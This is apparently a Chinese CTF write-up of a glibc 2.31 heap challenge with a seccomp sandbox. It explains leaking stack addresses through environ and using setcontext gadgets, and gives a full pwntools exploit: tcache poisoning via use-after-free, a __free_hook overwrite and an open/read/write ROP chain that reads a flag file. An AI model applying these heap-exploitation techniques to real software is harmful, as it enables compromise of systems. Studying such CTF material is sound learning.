• 四月份有一场新能源比赛,比赛后向别人要到了PWN的附件,这个比赛只有一题PWN考的是常规的堆题,考的是ORW。第一次接触ORW的结合的题型。所以就认真做了一下。

  • ORW相结合的题目,与栈溢出的ORW最后的套路基本一样,都是要构造ROP链,或者写shellcode

    • 那么问题来了栈溢出类型的ORW很好写ROP链,因为可以劫持返回地址,也可以进行栈迁移构造ROP链。
    • 而堆与ORW相结合的这类题型,构造ROP链就成了一个问题,因为我们不知道栈地址,劫持返回地址还比较困难。
    • 但是堆与ORW相结合的题型基本上还是构造ROP链或者是利用栈迁移构造ROP链
      • 在原来的栈上构造ROP链之前,我们还需要泄露栈地址(利用__envrion全局变量)以及任意地址写
      • 如果使用栈迁移的构造ROP链,我们就需要使用magic gadgets进行栈迁移写ROP。而这个magic gadgets出现在setcontext函数
      • 有的题目可能还可以构造SROP链。
      • 还有的题目需要利用IO_FILE
  • 以上就是ORW相结合题目的利用思路,接下来先介绍一下前俩个利用思路中的__envrion全局变量setcontext函数中magic gadgets

envrion和setcontext

envrion全局变量

  • 注意envrion是一个全局变量,并不是一个函数,我在做题的时候一开始误将envrion看成是一个函数,劫持了__free_hook()为该全局变量的地址,导致在exp利用的时候出现了问题。之后才反应过来这时一个全局变量
  • envrion全局变量是在glibc中,它保存了当前进程的环境变量列表,而环境变量列表会在一开始执行程序时被压入栈中。而envrion这个全局变量是一个指针,指向的就是环境变量列表所在的栈地址。
  • envrion这个全局变量一般是这样定义的:
1
extern char **environ;
  • 我们的环境变量列表一般如下图所示:
1
2
3
"PATH=/usr/bin:/bin"
"HOME=/home/username"
"SHELL=/bin/bash"
  • 接下来我们使用一个示例程序,通过调试查看一下environ这个值。
1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<stdlib.h>
extern char **__environ;
int main()
{
printf("%p",__environ);
return 0;
}
// gcc ./environ.c -o environ
  • 接下来我们gdb动态调试看看,先查看栈上的这个位置。

image-20250419005122531

  • 然后我们再来看printf()函数的第二个参数,就会发现第二个参数输出的就是0x7fffcbcf4fc8这个栈地址

image-20250419005223655

  • 此时我们利用堆溢出UAF漏洞堆风水实现任意地址泄露,我们就可以泄露出栈上的地址,之后我们再利用任意地址写,就可以在栈上构造ROP链了还可以调用mprotect函数然后向指定地址写入shellcode进行ORW操作。

setcontext函数

  • 现在也来了解一下setcontext函数中的magic_gadgets。接下来简单介绍一下这个函数。

  • setcontextglibc 中提供的一个上下文切换函数,属于 POSIX 的用户级上下文(User Context) API,主要用于用户空间实现协程线程切换信号恢复非局部跳转等功能。注意:这个与SROP非常像

  • 这个函数做个简单了解就行,我们主要使用的就是这个函数里面的一小段汇编,也就是我们所说的magic_gadgetssetcontext这个函数的magic_gadgets主要以glibc2.27glibc2.29glibc2.31这三个版本为分界线。

  • 我们先来说glibc2.27glibc2.27之前的版本,在执行这个函数的时候,我们会发现有进行一次syscall 0xE的系统调用,之后就是将[rdi+0xA0]位置一系列的值都给寄存器。这就相当于我们在用户层面使用SROP真正的SROP调用是在内核层面)。

    • 此时我们就可以控制RSP、RBP这俩个指针。这样我们就可以直接进行栈迁移操作。
    • 并且由于是将[rdi+0x]的值赋值给寄存器,也就是rdi寄存器指向的内存地址中的数据,这时我们就可以配合着__free_hook进行使用,在堆上布置寄存器的值

image-20250419015858274

  • 我们再来说明一下glibc2.27以后的版本,这个是glibc2.29的版本,我们发现glibc2.29的这个版本setcontext中的magic gadget原本的rdi被替换成了rdx,此时我们就不能使用__free_hook直接对这个程序进行控制

image-20250421083043144

  • 这个时候我们就需要用上其他的gadget,这时我们先使用__free_hook将程序执行流执行到下面的gadget,之后再调用setcontext

image-20250421083306689

  • 接下来查看glibc2.31magic gadget,我们发现这个magic gadget由原来的setcontext+53变成了setcontext+61

image-20250421083709715

  • 并且原来的glibc2.29gadget已经删除了只剩一个,如下图所示

image-20250421083915447

利用envrion

  • 接下来我们就利用新能源网络CTF的这题,简单介绍一下利用envrion泄露栈地址进行orw的操作。

cfc_level_1

  • 由于这是在本地打的,但是我使用glibc-all-in-one找不到对应的glibc2.31,只能用其他版本的glibc2.31,所以偏移会有所不同。

image-20250422083959917

  • 先运行一下这个程序,看看程序的大致逻辑。一开始运行的时候,我们会发现是一个堆菜单。但是在这个菜单中并没有show这个选项,即将内容输出。

image-20250421151600694

  • 1.Add选项如下,这个程序add堆块的size大小必须为32

image-20250421151732091

  • 2.Edit这个选项比较平常

image-20250421151848756

  • 3.Free这个选项运行来看也比较平常

image-20250421151932578

  • 然后再查看一下程序的保护机制。这时我们发现RELRO没开,也就是说我们的got表是可以写的。并且程序的PIE是没有开启的。

image-20250421151953592

  • 接下来我们就逆向一下这个程序,先来查看一下这个程序的main函数。这个逆向的过程就不再一步一步逆了。直接给出逆向好的一些函数名称。
    • 发现该程序一开始就已经开启了沙箱
    • 之后就是这个程序的堆菜单的主要运行逻辑。
    • 我们还注意到,程序中并没有输出堆块内容的相关函数,但是有出现一个my_write()这个函数,这个函数就是用来输出一些内容的。

image-20250421152315310

  • 先来看看沙箱的禁用情况。发现只是把execve给禁用掉。ORW相关的一个都没被禁用

image-20250421152439763

  • 接下来查看add()函数:发现程序可以申请0x20个堆块,申请的每个堆块地址都会被放在idx这个全局数组中

image-20250421152644878

  • 我们查看一下idx这个全局数组,发现实际上这个全局数组只能存储4个堆块地址,由于后面的程序段也是可以写的,所以这边存在数组越界(但是并没有什么大作用)

image-20250421152808626

  • 接下来我们查看一下edit()这个函数
    • 选择一个索引小于等于4的堆块
    • 向堆块写入数据,但是并不存在堆溢出

image-20250421153136662

  • 最后我们查看delete()函数,这个时候发现我们只能释放索引小于等于4的堆块。并且注意到这里存在UAF漏洞。还注意到题目给的是glibc2.31的版本。

image-20250421153240381

cfc_level_2

  • 由于这个是glibc2.31版本的堆,并且我们只能申请到tcache_bin范围内的堆块。所以很明确,这题就是tcachebin_attack

cfc_exp

  • 最终的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
p = process('./pwn1')
libc = ELF('/home/myheart/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
def add(size=32):
p.sendlineafter(b'>>',b'1')
p.sendlineafter(b'Size:',str(size).encode('utf-8'))

def edit(idx,context):
p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'Idx',str(idx).encode('utf-8'))
p.sendafter(b'Content:',context)


def delete(idx):
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'Idx',str(idx).encode('utf-8'))

def rop_x(stack,rop):
edit(4,p64(0)*0x2+p64(stack))
edit(0,rop)

add()# 0
add()# 1
add()# 2
delete(0)
delete(1)
edit(1,p64(0x4035A0-0x10))
#edit(1,p64(0x4034E0))
add()# 3
add()# 4
edit(4,p64(0)*0x2+p64(0x4034E0)+p64(0x4034F0))
edit(0,p64(0x4012D1))
delete(1)
write_addr = p.recvline()[1:7]
write_addr = int.from_bytes(write_addr,'little')
print('write-->',hex(write_addr))
libc_addr = write_addr - libc.symbols['write']
free_hook = libc_addr + libc.symbols['__free_hook']
free_addr = libc_addr + libc.symbols['free']
environ = libc_addr + libc.symbols['environ']
#libc_argv = libc.symbols['__libc_argv']
print('libc_addr-->',hex(libc_addr))
print('free_hook-->',hex(free_hook))
#edit(0,p64(free_addr))
edit(4,p64(0)*0x2+p64(free_hook)+p64(0))
edit(4,p64(0)*0x2+p64(environ)+b'./flag\x00')
#edit(3,p64(0x4012D1))
#gdb.attach(p)
#pause()
delete(0)
stack_addr = p.recvline()[1:7]
stack_addr = int.from_bytes(stack_addr,'little')
print('stack--->',hex(stack_addr))
ret_addr = stack_addr -0x100
print('ret_addr-->',hex(ret_addr))

leave_ret = 0x5aa48 + libc_addr
pop_rdi = 0x401833
pop_rsi_r15 = 0x401831
pop_rdx_r12 = libc_addr + 0x11c1e1
flag_addr = 0x4035A0+0x8
open_addr = libc_addr + libc.symbols['open']
read_addr = libc_addr + libc.symbols['read']
write_addr = libc_addr + libc.symbols['write']
# open(./flag,)
rop_x(ret_addr,p64(pop_rdi)+p64(flag_addr))
rop_x(ret_addr+0x10,p64(pop_rsi_r15)+p64(0)+p64(0))
rop_x(ret_addr+0x28,p64(pop_rdx_r12)+p64(0x0180)+p64(0))
rop_x(ret_addr+0x40,p64(open_addr))
# read(3,0x4035A0+0x500,0x50)
rop_x(ret_addr+0x48,p64(pop_rdi)+p64(3))
rop_x(ret_addr+0x58,p64(pop_rsi_r15)+p64(0x4035A0+0x500)+p64(0))
rop_x(ret_addr+0x70,p64(pop_rdx_r12)+p64(0x50)+p64(0))
rop_x(ret_addr+0x88,p64(read_addr))
# write(1,0x4035A0+0x500,0x50)
rop_x(ret_addr+0x90,p64(pop_rdi)+p64(1))
rop_x(ret_addr+0xa0,p64(pop_rsi_r15)+p64(0x4035A0+0x500)+p64(0))
rop_x(ret_addr+0xb8,p64(pop_rdx_r12)+p64(0x50)+p64(0))
rop_x(ret_addr+0xd0,p64(write_addr))
edit(4,p64(0)*0x2+p64(0x4034E0))
edit(0,p64(free_addr))
edit(4,p64(0)*0x2+p64(free_hook))
edit(0,p64(libc_addr + 0x276e2))
rop_x(ret_addr-0x18,p64(libc_addr + 0x58d38))
gdb.attach(p)
pause()
delete(3)

p.interactive()

利用magic gadget

glibc2.27及以下

glibc2.29

glibc2.31